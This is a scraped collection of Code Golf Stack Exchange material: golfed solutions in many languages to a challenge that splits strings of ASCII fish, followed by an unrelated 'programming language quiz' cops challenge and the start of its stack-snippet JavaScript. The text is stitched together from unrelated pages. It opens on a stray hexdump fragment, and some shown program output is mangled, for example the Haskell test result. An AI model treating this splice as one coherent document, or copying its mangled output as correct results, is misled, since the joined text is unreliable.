#jdhfqzsTsm^+msX 0000010: 746a 436b 3255 3222 3c3e 2222 0a5c 7212 tjCk2U2"<>"".\r. 0000020: 141b 1d2e 3122 222c 3c2e 2e3e 2c22 646c ....1"",<..>,"dl 0000030: 7a42 zB ``` [Answer] ## **><>, 602 bytes** ``` 0&>i:0)?vr>:5%4-?v}:5%?;}:5%1-?;}:5%1-?;}:5%2-?;}:5%4-?;}&~0& v \ / >:5%2-?v}:5%2-?v}:5%?v}:5%2-?v} v &:?v;>*} ^ v < >:5% ?v}:5%?v} :5% ?v}:5%2-?v}v v&-1< ^48< >: 5%2-?v}:5%2- ?v&1+&0}}v > :?v~^ >:5%?v}:5%?v}:5%2- ?v}:5% ?v} v ^~v?%8:< >:5%2-?v}: 5%2-?v} :5%2- ?v}:5%?v}v ^{< >0>=?;:v >: 5% ?v}:5% ?v&1+&0}}v ^lo~< < > > > > > > > 02. \}*48^?=i: < < ``` A solution in Fish, probably very golfable but it's my first ><> program. It takes its input from the input stack and runs on the online ><> interpreter. ## How it works : A loop reads all the input and stacks it, reverse it and put a -1 on the bottom wich will mark that parsing is complete (all characters stay on the stack until the string is deemed parsable). The parsing uses the fact all characters are different modulo 5, and all patterns are deterministic except <><< and ><>>. Parsed characters are put on the bottom of the stack. When a pattern is complete, if -1 is on top, all characters are printed, otherwise a space is added and the program loops. If <><< or ><>> are encountered, the register is incremented (0 at the start), and a 0 is placed on the stack before the last character (so that <>< or ><> stays after rollback). If an error appears afterwards during parsing, the register is decreased, all characters after the 0 are put back on top (except spaces thanks to a %8=0 test). If an error is detected while the register is 0, or inside the crab, the program just ends immediately. [Answer] ## Python 3, 156 ``` *l,s=[],input() for _ in s:l+=[y+[x]for x in"><> >><> ><>> ><<<> <>< <><< <<>< <>>>< ,<..>,".split()for y in l] for y in l: if"".join(y)==s:print(*y);break ``` The strategy is to generate lists of fish and compare their concatenation to the input string. This takes impossibly long. If you actually want to see an output, replace `for _ in s` with `for _ in [0]*3`, where 3 is the upper bound for the number of fish. It works to use `s` because `s` contains at most one fish per char. Thanks to Sp3000 for bugfixes and a char save on input. Old 165: ``` f=lambda s:[[x]+y for x in"><> >><> ><>> ><<<> <>< <><< <<>< <>>>< ,<..>,".split()for y in f(s[len(x):])if s[:len(x)]==x]if s else[[]] y=f(input()) if y:print(*y[0]) ``` [Answer] # Perl, 81 + 1 bytes ``` /^((>><>|><(|>|<<)>|<><<|<(|<|>>)><|,<\.\.>,)(?{local@a=(@a,$2)}))*$(?{say"@a"})/ ``` [Try this code online.](http://ideone.com/uLrRX9) This code expects the input in the `$_` variable; run this with Perl's `-n` switch ([counted as +1 byte](http://meta.codegolf.stackexchange.com/questions/273/on-interactive-answers-and-other-special-conditions)) to apply it to each input line, e.g. like this: ``` perl -nE '/^((>><>|><(|>|<<)>|<><<|<(|<|>>)><|,<\.\.>,)(?{local@a=(@a,$2)}))*$(?{say"@a"})/' ``` This code uses Perl's regexp engine (and specifically its [embedded code execution](http://perldoc.perl.org/perlre.html#%28%3F%7B-code-%7D%29) feature) to perform an efficient backtracking search. The individual fishes found are collected in the `@a` array, which is stringified and printed if the match is successful. This code also uses the Perl 5.10+ `say` feature, and so must be run with the `-E` or `-M5.010` switch (or `use 5.010;`) to enable such modern features. [By tradition,](http://meta.codegolf.stackexchange.com/questions/273/on-interactive-answers-and-other-special-conditions) such switches used solely to enable a particular version of the language are not included in the byte count. Alternatively, here's a 87-byte version that requires no special command-line switches at all. It reads one line from stdin, and prints the result (if any) to stdout, without any trailing linefeed: ``` <>=~/^((>><>|><(|>|<<)>|<><<|<(|<|>>)><|,<\.\.>,)(?{local@a=(@a,$2)}))*$(?{print"@a"})/ ``` **Ps.** If printing an extra space at the beginning of the output was allowed, I could trivially save two more bytes with: ``` /^((>><>|><(|>|<<)>|<><<|<(|<|>>)><|,<\.\.>,)(?{local$a="$a $2"}))*$(?{say$a})/ ``` [Answer] # Python 3, ~~196~~ 186 bytes ``` F="><> >><> ><>> ><<<> <>< <><< <<>< <>>>< ,<..>,".split() def g(s): if s in F:return[s] for f in F: i=len(f) if f==s[:i]and g(s[i:]):return[f]+g(s[i:]) R=g(input()) if R:print(*R) ``` Simple recursion. `g` either returns a list of parsed fish, or `None` if the input string is unparseable. [Answer] # Python 2, 234 bytes I tried a Python regex solution first, but there seems to be no way to extract the groups after a match on multiple patterns. The following is a recursive search which seems to do well on the test cases. ``` a='><> >><> ><>> ><<<> <>< <><< <<>< <>>>< ,<..>,'.split() def d(t,p=0): if p<len(t): for e in a: z=p+len(e) if e==t[p:z]: if z==len(t):return[e] c=d(t,z) if c:return[e]+c c=d(raw_input()) if c: print' '.join(c) ``` An example test: ``` $ echo ",<..>,><<<>,<..>,><>,<..>,<>>><,<..>,><>>,<..>,<<><,<..>,<><,<..>,>><>" | python soln.py ,<..>, ><<<> ,<..>, ><> ,<..>, <>>>< ,<..>, ><>> ,<..>, <<>< ,<..>, <>< ,<..>, >><> ``` And the ungolfed version: ``` fishtypes = '><> >><> ><>> ><<<> <>< <><< <<>< <>>>< ,<..>,'.split() def getfish(t, p=0): if p < len(t): for afish in fishtypes: z = p+len(afish) if afish == t[p:z]: if z == len(t) : return [afish] fishlist = getfish(t, z) if fishlist : return [afish]+fishlist fishlist = getfish(raw_input()) if fishlist: print ' '.join(fishlist) ``` [Answer] # C# - 319 bytes This solution is shamefully simple, hardly anything to Golf. It's a complete program, takes input as a line from STDIN, and outputs the result to STDOUT. ``` using C=System.Console;class P{static void Main(){C.Write(S(C.ReadLine()));}static string S(string c){int i=c.LastIndexOf(' ')+1;foreach(var o in"<>< ><> <<>< ><>> >><> <><< ><<<> <>>>< ,<..>,".Split()){string k=c+"\n",m=c.Substring(i);if(m==o||m.StartsWith(o)&&(k=S(c.Insert(i+o.Length," ")))!="")return k;}return"";}} ``` It simply attempts to match each fish to the first position after a space (or at the start of the string), and matches each type of fish with it. If the fish fits, then it recursively calls the solver after inserting a space after the fish, or simply returns it's input (with a \n for output reasons) if the unmatched string is literally the fish (i.e. we've found a solution). I haven't made much of an attempt to give the fish string the usual kolmogorov treatment, because it isn't all that long, and I can't find a cheap way to reverse a string in C# (I don't think LINQ will pay), so there may be some opportunity there, but I somewhat doubt it. ``` using C=System.Console; class P { static void Main() { C.Write(S(C.ReadLine())); // read, solve, write (no \n) } static string S(string c) { int i=c.LastIndexOf(' ')+1; // find start of un-matched string // match each fish foreach(var o in"<>< ><> <<>< ><>> >><> <><< ><<<> <>>>< ,<..>,".Split()) { string k=c+"\n", // set up k for return if we have finished m=c.Substring(i); // cut off stuff before space if(m==o|| // perfect match, return straight away m.StartsWith(o)&& // fish matches the start (k=S(c.Insert(i+o.Length," "))) // insert a space after the fish, solve, assign to k !="") // check the solution isn't empty return k; } // no fish match return""; } } ``` [Answer] # Haskell(Parsec) - 262 ``` import Text.Parsec c=words"><> >><> ><>> ><<<> <>< <><< <<>< <>>>< ,<..>," p c d=choice[eof>>return[],lookAhead(choice$map(try.string)d)>>=(\s->try(string s>>p c c>>=(\ss->return$s:ss))<|>p c(filter(/=s)c))] main=interact$either show unwords.runParser(p c c)()"" ``` [Answer] ``` import sys def unfish(msg,dict,start): if(len(msg[start:])<3): return ""; for i in range(3,6): if (msg[start:start+i] in dict): if(start+i==len(msg)): return msg[start:start+i]; else: ret = unfish(msg,dict,start+i); if ret != "": return msg[start:start+i]+" "+ret; return "" dict = {'><>':1,'<><':1,'>><>':1,'<><<':1,'><>>':1,'<<><':1,'><<<>':1,'<>>><':1,',<..>,':1}; print unfish(sys.argv[1],dict,0); ``` im a bit of a python noob so ignore the weirdness :P [Answer] # Ruby, 177 bytes Not the shortest but the first one in ruby: ``` def r(e,p,m)t='';p.each{|n|t=e.join;return r(e<<n,p,m)if m=~/^#{t+n}/};(m==t)?e:[];end puts r([],%w(><<<> <>>>< ><>> <<>< >><> <><< ><> <>< ,<..>,),gets.strip).join(' ') ``` The attempt here is to recursively extend a regexp and match it against the input. If a longer match is found r() will recurse, if not it will check if the last match consumes the whole input string and only then output it with added spaces. [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 35 bytes ``` “¦¿ÆבB;¬$ị⁾<>“,<..>,”ṭ J¢ṗẎẎ⁼¥Ƈ⁸ḢK ``` [Try it online!](https://tio.run/##y0rNyan8//9Rw5xDyw7tP9x2ePqjhhlO1ofWqDzc3f2ocZ@NHVBKx0ZPz07nUcPchzvXcnkdWvRw5/SHu/qA6FHjnkNLj7U/atzxcMci7////yvZ2IGgEgA "Jelly – Try It Online") This is *brutally* inefficient, clocking in at around (I believe) \$O(9^{n^2})\$, and times out on TIO for strings of length \$7\$ or more Returns `0` if the input cannot be interpreted as fish A much faster version is [38 bytes](https://tio.run/##y0rNyan8//9Rw5xDyw7tP9x2ePqjhhlO1ofWqDzc3f2ocZ@NHVBKx0ZPz07nUcPchzvXcvlYGQcdWvRw5/SHu/qA6FHjnkNLj7U/atzxcMci7////9vY2AEhkARTEAQA), timing out for length \$21\$ or more ## How it works Similar to [isaacg's Pyth answer](https://codegolf.stackexchange.com/a/48661/66833), we generate all possible fish strings, then look for the one(s) equal to the input ``` “¦¿ÆבB;¬$ị⁾<>“,<..>,”ṭ - Helper link. Returns a list of fish “¦¿Æב - [5,11,13,17] B - Convert to binary; [[1,0,1],[1,0,1,1],[1,1,0,1],[1,0,0,0,1]] ¬ - Logical NOT of each bit; [[0,1,0],[0,1,0,0],[0,0,1,0],[0,1,1,1,0]] ; $ - Concatenate to the bits; [[1,0,1],[1,0,1,1],...,[0,0,1,0],[0,1,1,1,0]] ị⁾<> - Index into "<>", replacing 1 with < and 0 with > “,<..>,” - Yield the crab ṭ - Append it to the fish J¢ṗẎẎ⁼¥Ƈ⁸ḢK - Main link. Takes a fish F of length n on the left J - Yield [1, 2, ..., n] ¢ - Get the list of fish ṗ - For each i in 1,2,...,n get the i'th Cartesian power of the fish Ẏ - Concatenate into a list of lists ¥Ƈ - Keep those lists for which the following is true: Ẏ - When concatenated into a flat list of characters, ⁼ - the list equals ⁸ - the input F Ḣ - Take the first list of fish K - Join by spaces ``` [Answer] # CJam, ~~111 96~~ 91 (or 62 bytes) An iterative greedy approach to keep figuring out what all fish combinations are possible as you iterate. Really not golfed right now. ``` q_aa\,{{" È÷®µãÑø"255b5b" ><,."f=S/\f{)_3$#{;;;}{2$,>:P@a\a++}?PR+!{S:R*W<o}*}~}%}*]; ``` The code contains some unprintable characters, so use the link below for reference. *Update* Encoded the string Will add explanation once done golfing [Try it online here](http://cjam.aditsu.net/#code=q_aa%5C%2C%7B%7B%22%02%20%C3%88%C3%B7%C2%AE%C2%B5%17%C3%A3%06%C3%91%1B%C3%B8%C2%97%1C%22255b5b%22%20%3E%3C%2C.%22f%3DS%2F%5Cf%7B)_3%24%23%7B%3B%3B%3B%7D%7B2%24%2C%3E%3AP%40a%5Ca%2B%2B%7D%3FPR%2B!%7BS%3AR*W%3Co%7D*%7D~%7D%25%7D*%5D%3B&input=%3C%3C%3E%3C%3E%3C%3C%3C%3E%3E%3E%3C%3E%3E%3C%3E%3E%3C%3E%3C%3E%3C%3C%3E%3E%3E%3C%3E%3E%3C%3E%3E%3E%3C%3E%3E%3E%3C%3E%3E%3C%3E%3E) --- # 62 bytes Super slow version. This basically creates all the combinations and checks which are equal to the input. ``` L"¬ééãLù:9$"255b6b5," ><,."erS/aq:Q,*{m*}*{sQ=}=`"[]\""- ``` This also contains unprintable characters, so rely on the below link. [Try it online here](http://cjam.aditsu.net/#code=L%22%C2%AC%C3%A9%C2%9D%C3%A9%C3%A3%10L%1F%C3%B9%3A9%C2%97%1B%24%C2%87%22255b6b5%2C%22%20%3E%3C%2C.%22erS%2Faq%3AQ%2C*%7Bm*%7D*%7BsQ%3D%7D%3D%60%22%5B%5D%5C%22%22-&input=%3E%3C%3E%3E%3C%3E%3E%3E%3C%3E) [Answer] # Haskell, ~~148~~ 146 bytes ``` main=mapM_ putStr.take 1.filter(all(`elem`words"><> >><> ><>> ><<<> <>< <><< <<>< <>>>< ,<..>,").words).map concat.mapM(\a->[[a],a:" "])=<<getLine ``` Testing: ``` $ echo "><>><>>>" | runhaskell fishes.hs ``` $ echo "><>><>>" | runhaskell fishes.hs > > <> ><>> > > > ## Explanation Based on my [earlier answer](https://codegolf.stackexchange.com/a/45498/32014) to a similar question. The algorithm runs in exponential time. This reads from right to left. ``` =<<getLine -- Read a line from STDIN. mapM(\a->[[a],a:" "]) -- Replace each letter 'a' by "a" or "a " in -- all possible ways, collect results to a list. map concat -- Concatenate those lists-of-strings into strings. filter(all(...).words) -- Keep those whose words are correct fish. take 1 -- Discard all but the first one. mapM_ putStr -- Print each string in that 1- or 0-element list. main= -- That is the main function. ``` This will not print a string that ends with a space, even though such strings are generated too, because its no-space counterpart is generated first. [Answer] # JavaScript (ES6), 164 Recursive, depth first scan. As a program with I/O via popup: ``` alert((k=(s,r)=>'><>0<><0>><>0<><<0><>>0<<><0><<<>0<>>><0,<..>,'.split(0) .some(w=>s==w?r=w:s.slice(0,l=w.length)==w&&(t=k(s.slice(l)))?r=w+' '+t:0)?r:'') (prompt())) ``` As a testable function: ``` k=(s,r)=>'><>0<><0>><>0<><<0><>>0<<><0><<<>0<>>><0,<..>,'.split(0) .some(w=>s==w?r=w:s.slice(0,l=w.length)==w&&(t=k(s.slice(l)))?r=w+' '+t:0)?r:'' ``` Test suite (run in Firefox/FireBug console) ``` t=['<><><>', '><>><>>', '<><<<><',',<..>,><<<>,<..>,><>,<..>,<>>><,<..>,><>>,<..>,<<><,<..>,<><,<..>,>><>', '<><>',',<..>,<..>,','>>><>','><<<<>',',','><><>',',<><>,', '<<<><><<<>>><>><>><><><<>>><>><>>><>>><>><>><<><','<<><><<<>>><>><>><><><<>>><>><>>><>>><>><>><<><'] t.forEach(t=>console.log(t + ': ' +k(t))) ``` *Output* ``` <><><>: <>< ><> ><>><>>: ><> ><>> <><<<><: <>< <<>< ,<..>,><<<>,<..>,><>,<..>,<>>><,<..>,><>>,<..>,<<><,<..>,<><,<..>,>><>: ,<..>, ><<<> ,<..>, ><> ,<..>, <>>>< ,<..>, ><>> ,<..>, <<>< ,<..>, <>< ,<..>, >><> <><>: ,<..>,<..>,: >>><>: ><<<<>: ,: ><><>: ,<><>,: <<<><><<<>>><>><>><><><<>>><>><>>><>>><>><>><<><: <<><><<<>>><>><>><><><<>>><>><>>><>>><>><>><<><: <<>< ><<<> >><> ><> ><> <>< <>>>< >><> >><> >><> ><>> <<>< ``` **Ungolfed** just the k function ``` function k(s) { var f='><>0<><0>><>0<><<0><>>0<<><0><<<>0<>>><0,<..>,'.split(0) var i, w, l, t for (w of f) { if (s == w) { return w } l = w.length if (s.slice(0,l) == w && (t = k(s.slice(l)))) { return w + ' ' + t } } return '' } ``` [Answer] # Python 3, ~~166~~ 164 bytes ``` def z(s,p=''):[z(s[len(f):],p+' '+s[:len(f)])for f in'<>< <><< <<>< <>>>< ><> >><> ><>> ><<<> ,<..>,'.split(' ')if s.startswith(f)]if s else print(p[1:]) z(input()) ``` Recursive solution. Late to the party, but I thought I'd post it anyway since it beats Sp3000's by ~~20~~ 22 bytes without having to brute-force the answer. [Answer] # Haskell, ~~148~~ 142 ``` p[]=[[]] p s=[i:j|i<-words"><> >><> ><>> ><<<> <>< <><< <<>< <>>>< ,<..>,",i==map fst(zip s i),j<-p$drop(length i)s] g s=unwords$head$p s++p[] ``` this uses list comprehensions to iterate over the fish, pick the ones who match the start and continue recursively. [Answer] # Javascript (~~122~~ 135 bytes) Not the most golfed here, could be stripped down a little. This one is regex based, and a tad hard to figure out what is going on. ``` alert(prompt(R=RegExp,r='(<<?><|><>>?|,<\.\.>,|>><>|><<<>|<><<|<>>><)').match(R('^'+r+'+$'))[0].split(R(r+'(?=[>,]|$)','g')).join(' ')) ``` This one is a one-liner. Basically, I check the syntax and then I split the string based on the chars and join it together. It throws an exception when you give it an invalid input. If it can't throw exceptions (~~126~~ 139 bytes): ``` (i=prompt(R=RegExp,r='(<<?><|><>>?|,<\.\.>,|>><>|><<<>|<><<|<>>><)')).match(R('^'+r+'+$'))&&alert(i.split(R(r+'(?=[>,]|$)','g')).join(' ')) ``` Both are one-liners. Both work the same way. --- Thank you [@edc65](https://codegolf.stackexchange.com/users/21348/edc65) for detecting the edge case that wasn't working well. --- You can test it here (output will be written to the document). It is based on the version that throws exceptions when you introduce invalid code. ``` var alert=console.log=function(s){document.write(s)+'<br>';}; try{ alert(prompt(R=RegExp,r='(<<?><|><>>?|,<\.\.>,|>><>|><<<>|<><<|<>>><)').match(R('^'+r+'+\x24'))[0].split(R(r+'(?=[>,]|\x24)','g')).join(' ')); }catch(e){console.log(e);} ``` (Currently, there's a bug on stack snippets, ~~I've [posted in on meta](http://meta.codegolf.stackexchange.com/questions/5055/rr-g-is-converted-to-rr01943df1-b949-454b-b253-e39f9)~~ It was already asked yesterday. For it to work, I've replaced `$` with `\x24`, which has the same output. You can read about the bug here: <http://meta.codegolf.stackexchange.com/questions/5043/stack-snippets-messing-with-js>) [Answer] # Scala, 299 Bytes ``` type S=String type L[T]=List[T] def c(s:S):L[L[S]]={val f=List("><>","<><",">><>","<><<","><>>","<<><","><<<>","<>>><",",<..>,").filter(s.startsWith);if(f.isEmpty)List(List(s)) else f.flatMap(i => c(s.drop(i.size)).map(i::_))} def p(s:S)=println(c(s).find(_.last.isEmpty).fold("")(_.mkString(" "))) ``` # Test Cases ``` val tests = Seq("><>", "<><", ">><>", "<><<", ">><>", "<><<", "><<<>", "<>>><", ",<..>,", "><>><>", "><><><", ",<..>,<><", "<<<><><<<>>><>><>><><><<>>><>><>>><>>><>><>><<><", "<<><><<<>>><>><>><><><<>>><>><>>><>>><>><>><<><") tests.foreach(p) ``` Output ``` ><> <>< >><> <><< >><> <><< ><<<> <>>>< ,<..>, ><> ><> ><> <>< ,<..>, <>< <<>< ><<<> >><> ><> ><> <>< <>>>< >><> >><> >><> ><>> <<>< ``` [Answer] **Java, 288 bytes** ``` public class F{public static void main(String[]q){d("",q[0]);}static System y;static void d(String a,String b){if(b.isEmpty()){y.out.println(a);y.exit(0);}for (String s : "><> <>< >><> <><< ><>> <<>< ><<<> <>>>< ,<..>,".split(" "))if(b.startsWith(s))d(a+" "+s,b.substring(s.length()));}} ``` Formatted: ``` public class F { public static void main(String[] q) { d("", q[0]); } static System y; static void d(String a, String b) { if (b.isEmpty()) { y.out.println(a); y.exit(0); } for (String s : "><> <>< >><> <><< ><>> <<>< ><<<> <>>>< ,<..>,".split(" ")) if (b.startsWith(s)) d(a + " " + s, b.substring(s.length())); } } ``` [Answer] I wasn't going for size, but here is an easy to understand way of doing this in Dart. ``` const List<String> fish = const [ "><>", "<><", ">><>", "<><<", "><>>", "<<><", "><<<>", "<>>><", ",<..>," ]; String fishy(String input) { var chars = input.split(""); if (chars.isEmpty || !chars.every((it) => [">", "<", ",", "."].contains(it))) { throw new Exception("Invalid Input"); } var result = []; var i = 0; var buff = ""; while (i < chars.length) { buff += chars[i]; if (fish.contains(buff)) { result.add(buff); buff = ""; } else if (chars.length == 6) { return ""; } i++; } return result.join(" "); } void main() { print(fishy(",<..>,><<<>,<..>,><>,<..>,<>>><,<..>,><>>,<..>,<<><,<..>,<><,<..>,>><>")); } ``` ]
[Question] [ A repost of [this](https://codegolf.stackexchange.com/questions/54807/the-programming-language-quiz) challenge. [Meta discussion](https://codegolf.meta.stackexchange.com/questions/14272/can-we-revive-the-programming-language-quiz). [Sandbox post](https://codegolf.meta.stackexchange.com/a/14390/66833). Body of the question similar to the original [Robber's challenge](https://codegolf.stackexchange.com/questions/155019/the-programming-language-quiz-mark-ii-robbers) > > This cops and robbers is now (08/03/2018) closed to further competing cop entries, as robbers may no longer be competing to crack answers, but feel free to post new answers. > > > The Cops challenge was won by [Dennis](https://codegolf.stackexchange.com/users/12012/dennis) with his brilliant [6 byte Sesos answer](https://codegolf.stackexchange.com/a/156002/66833) > > > The Robbers challenge was won by [totallyhuman](https://codegolf.stackexchange.com/users/68615/totallyhuman), with an astounding [30 cracks](https://codegolf.stackexchange.com/search?q=inquestion%3A155019+user%3A68615)! > > > ## The Cops' Challenge To compete as a cop: 1. **Choose a programming language**. A valid programming language is one which meets all three of these criteria: * It has [an English Wikipedia article](https://en.wikipedia.org/wiki/Lists_of_programming_languages), [an esolangs article](http://esolangs.org/wiki/Language_list) or [a Rosetta Code article](http://rosettacode.org/wiki/Category:Programming_Languages) at the time this challenge was posted, or is on [Try It Online!](https://tio.run/#). Having an interpreter linked in any of these pages makes that interpreter completely legal. * It must satisfy our rules on [what constitutes a programming language](http://meta.codegolf.stackexchange.com/a/2073/8478) * It must have a free interpreter (as in beer). Free here means that anyone can use the program without having to pay to do so. 2. **Write a full program that outputs the numbers from 1 to 100, inclusive, in ascending order**. You can output as decimal integers, as bytecode values (`!` to represent 33, for instance), or as unary digits (`1111` for 4, e.g)1. If using unary, you should use any *consistent* character for digits, and a different, consistent character as a delimiter. If using integers, you should output with a constant non-digit delimiter between each number. You may also output with leading and trailing characters (such as `[]`) but please be sensible (don't output a thousand bytes of rubbish either side of the count for instance). You must specify your output format in your answer. You must not assume a REPL environment or existing boilerplate code. Flags may be used, but you must reveal what flags are used in your answer. The program must be in the form of one or more source files (to rule out quirky languages like [Folders](http://esolangs.org/wiki/Folders)) and must fit into your answer in full (so it must not be longer than 65,536 characters) - this shouldn't be an issue for any serious submission. If your code contains bytes outside of printable ASCII + newline, please include a hex dump to make sure your code is actually testable. The program must terminate within 5 minutes on a typical desktop PC. That's it. However, as with everything, there is a catch. You should aim to obfuscate your program as much as possible, as the Robbers' task is to guess the language you used. You should also aim to make sure that your program only works in the intended language (although this is likely to be less of a problem than the [Foo](http://esolangs.org/wiki/Foo) cracks in the original challenge). The output format must be the same as your intended solution in order to constitute a valid crack. Once **7 days** have passed without anyone discovering *any* language where your program is a valid crack, you may reveal the language and mark it as `safe`. Please note, **your submission can still be cracked until you reveal the language**. You must not under any circumstances edit the source code of your submission once posted (as this may invalidate a robber's active attempts at cracking your answer). So make sure that you golf it as well as you can (or dare) before posting. If you realise that your answer does not work after posting it, simply delete your answer and post a fixed version if you want to. The shortest safe submission in *bytes* wins! 1: If you wish to output in a different way, please ask in the comments ### The Stack Snippet You can use this stack snippet to browse the answers more easily: ``` answersSafe=[];answersCracked=[];answersUncracked=[];answerPage=1;robberTodo=[];userNames={};robberMap={};robberStats={};robberTimes={};function template($element,data){var $clone=$element.clone().removeClass('template');var html=$clone.html();for(var key in data){html=html.replace('{'+key+'}',data[key])}$clone.html(html);$element.after($clone)}function hideEmpty(){$('tbody').each(function(){if($(this).find('tr:not(.template):has(td)').length==0){$(this).find('tr:not(.empty):has(th)').addClass('inactive');$(this).find('tr.empty').removeClass('inactive')}})}function formatError(obj,reason){template($('.warn.template'),{id:obj.cop_id,cop:obj.cop_user,reason:reason})}function showAnswers(category,selector,sorter){sorter(category);$('#'+selector).find('tr:not(.template):has(td)').remove();$.each(category,function(i,answer){template($('#'+selector+' .template'),answer)});$('code:has(br)').addClass('clickable').click(function(){$(this).toggleClass('full')});updateCountdowns()}function getAnswers(){$.ajax({url:"https://api.stackexchange.com/2.2/questions/155018/answers?pagesize=100&order=desc&sort=creation&site=codegolf&filter=!*LUzJZNOIUpZsWsZBLe&page="+(answerPage++),method:"get",dataType:"jsonp"}).then(function(data){$.each(data.items,function(i,answer){var obj={cop_id:answer.answer_id,cop_user:answer.owner.display_name,cop_time:answer.creation_date,safe_on:answer.creation_date+604800};var $e=$('<div/>').html(answer.body);var $headers=$e.find(':header');if($headers.length==0){return formatError(obj,"no header")}var header=$headers.first().html();var $code=$e.find('pre code');if($code.length==0){return formatError(obj,"no code")}obj.code=$code.first().html().replace(/\n/g,'<br/>');if(obj.code.endsWith('<br/>')){obj.code=obj.code.slice(0,-5)}var bm=/(\d+)\s+bytes/.exec(header);if(bm==null){return formatError(obj,"no bytecount")}obj.size=parseInt(bm[1]);if(obj.size==NaN){return formatError(obj,"bytecount is NaN: "+bm[1])}obj.language=header.slice(0,bm.index).trim();while(obj.language.charAt(obj.language.length-1)!=','&&obj.language.length!=0){obj.language=obj.language.slice(0,-1)}if(obj.language.length==0){return formatError(obj,"no/bad separator before bytecount")}obj.language=obj.language.slice(0,-1).trim();obj.language_text=$('<div/>').html(obj.language).text();var end=header.slice(bm.index+bm[0].length).trim();if(end.length==0){if(obj.language!=="???"){return formatError(obj,"not marked as safe nor cracked, but language is "+obj.language+" (expected ???)")}return answersUncracked.push(obj)}if(!end.startsWith(',')){return formatError(obj,"no/bad separator after bytecount")}end=end.slice(1).trim();if(end==='safe'){return answersSafe.push(obj)}var $end=$('<div/>').html(end);var end_text=$end.text();if(!end_text.startsWith('cracked')){return formatError(obj,"expected 'cracked' or 'safe', got '"+end_text+"'")}var expectedURL='https://codegolf.stackexchange.com/a/';var $links=$end.find('a');if($links.length==0){return formatError(obj,"no cracked link")}var robberURL=$links.first().attr('href');if(!robberURL.startsWith(expectedURL)){return formatError(obj,"link does not start with "+expectedURL+": "+robberURL)}obj.robber_id=parseInt(robberURL.slice(expectedURL.length));if(obj.robber_id==NaN){return formatError(obj,"robber_id is NaN")}robberTodo.push(obj.robber_id);answersCracked.push(obj)});if(data.has_more){getAnswers()}else{getRobbers()}})}function sortBySize(category){category.sort(function(a,b){return b.size-a.size})}function sortByTime(category){category.sort(function(a,b){return b.cop_time-a.cop_time})}function sortByLiveTime(category){category.sort(function(a,b){return b.cracked_after-a.cracked_after})}function sortByCop(category){category.sort(function(a,b){return b.cop_user.localeCompare(a.cop_user)})}function sortByRobber(category){category.sort(function(a,b){return b.robber_user.localeCompare(a.robber_user)})}function sortByLanguage(category){category.sort(function(a,b){return b.language_text.localeCompare(a.language_text)})}function getRobbers(){if(robberTodo.length==0){$.each(answersCracked,function(i,answer){answer.robber_user=userNames[robberMap[answer.robber_id]];answer.cracked_after=robberTimes[answer.robber_id]-answer.cop_time;answer.cracked_after_str=formatTime(answer.cracked_after)});showAnswers(answersUncracked,'uncracked',sortByTime);showAnswers(answersCracked,'cracked',sortByLiveTime);showAnswers(answersSafe,'safe',sortBySize);hideEmpty();var graphData=[];$.each(robberStats,function(k,v){graphData.push({name:decodeEntities(userNames[k]),value:v})});graphData.sort(function(a,b){if(a.value==b.value){return a.name.localeCompare(b.name)}else{return b.value-a.value}});var graphLabels=[];var graphValues=[];$.each(graphData,function(i,obj){graphLabels.push(obj.name);graphValues.push(obj.value)});var graphColors=[];for(var i=0;i<graphData.length;i+=1){graphColors.push(['#b58900','#cb4b16','#dc322f','#d33682','#6c71c4','#268bd2','#2aa198','#859900'][i%8])}$('#robber-stats').attr('width',600);$('#robber-stats').attr('height',24*graphData.length+66);$('#answer-stats').attr('width',600);$('#answer-stats').attr('height',400);Chart.defaults.global.defaultFontColor='#839496';new Chart($('#robber-stats'),{type:'horizontalBar',data:{labels:graphLabels,datasets:[{data:graphValues,backgroundColor:graphColors}]},options:{responsive:false,legend:false,tooltips:false,layout:{padding:{right:40}},title:{display:true,text:'Number of answers cracked per robber',fontSize:18},scales:{yAxes:[{gridLines:{display:false}}],xAxes:[{gridLines:{display:false},ticks:{beginAtZero:true}}]},plugins:{datalabels:{anchor:'end',align:'end'}}}});new Chart($('#answer-stats'),{type:'pie',data:{labels:['Uncracked','Cracked','Safe'],datasets:[{data:[answersUncracked.length,answersCracked.length,answersSafe.length],backgroundColor:['#2aa198','#dc322f','#859900'],borderColor:'#002b36'}]},options:{responsive:false,tooltips:{backgroundColor:'#073642',displayColors:false},title:{display:true,text:'Number of answers in each category',fontSize:18},plugins:{datalabels:false}}});updateCountdowns();setInterval(updateCountdowns,1000);$('#loading').hide()}else{$.ajax({url:"https://api.stackexchange.com/2.2/answers/"+robberTodo.slice(0,100).join(';')+"?site=codegolf&filter=!*RB.h_b*K*dQTllFUdy",method:"get",dataType:"jsonp"}).then(function(data){$.each(data.items,function(i,robber){robberTodo=robberTodo.filter(function(e){return e!==robber.answer_id});robberMap[robber.answer_id]=robber.owner.user_id;robberTimes[robber.answer_id]=robber.creation_date;userNames[robber.owner.user_id]=robber.owner.display_name;if(robber.owner.user_id in robberStats){robberStats[robber.owner.user_id]+=1}else{robberStats[robber.owner.user_id]=1}});getRobbers()})}}var decodeEntities=(function(){var element=document.createElement('div');function decodeHTMLEntities(str){if(str&&typeof str==='string'){str=str.replace(/<script[^>]*>([\S\s]*?)<\/script>/gmi,'');str=str.replace(/<\/?\w(?:[^"'>]|"[^"]*"|'[^']*')*>/gmi,'');element.innerHTML=str;str=element.textContent;element.textContent=''}return str}return decodeHTMLEntities})();function formatTime(seconds){var arr=[];if(seconds>86400){arr.push(Math.floor(seconds/86400)+" days");seconds%=86400}if(seconds>3600){arr.push(Math.floor(seconds/3600)+" hours");seconds%=3600}if(seconds>60){arr.push(Math.floor(seconds/60)+" minutes");seconds%=60}if(seconds!=0){arr.push(seconds+" seconds")}return arr.join(', ').split('').reverse().join('').replace(',','dna ').split('').reverse().join('')}function updateCountdowns(){$('tr:not(.template) .countdown').each(function(){var target=$(this).attr('data-target');var now=Math.floor(+new Date()/1000);if(target-now<86400){$(this).addClass('urgent')}else{$(this).removeClass('urgent')}if(target<now){$(this).removeClass('countdown').text('Safe! (according to your computer\'s time)')}else{$(this).text(formatTime(target-now))}})}$('thead, #stats-header').click(function(){$(this).toggleClass('hidden')});getAnswers(); ``` ``` *{margin:0;padding:0;font:12pt 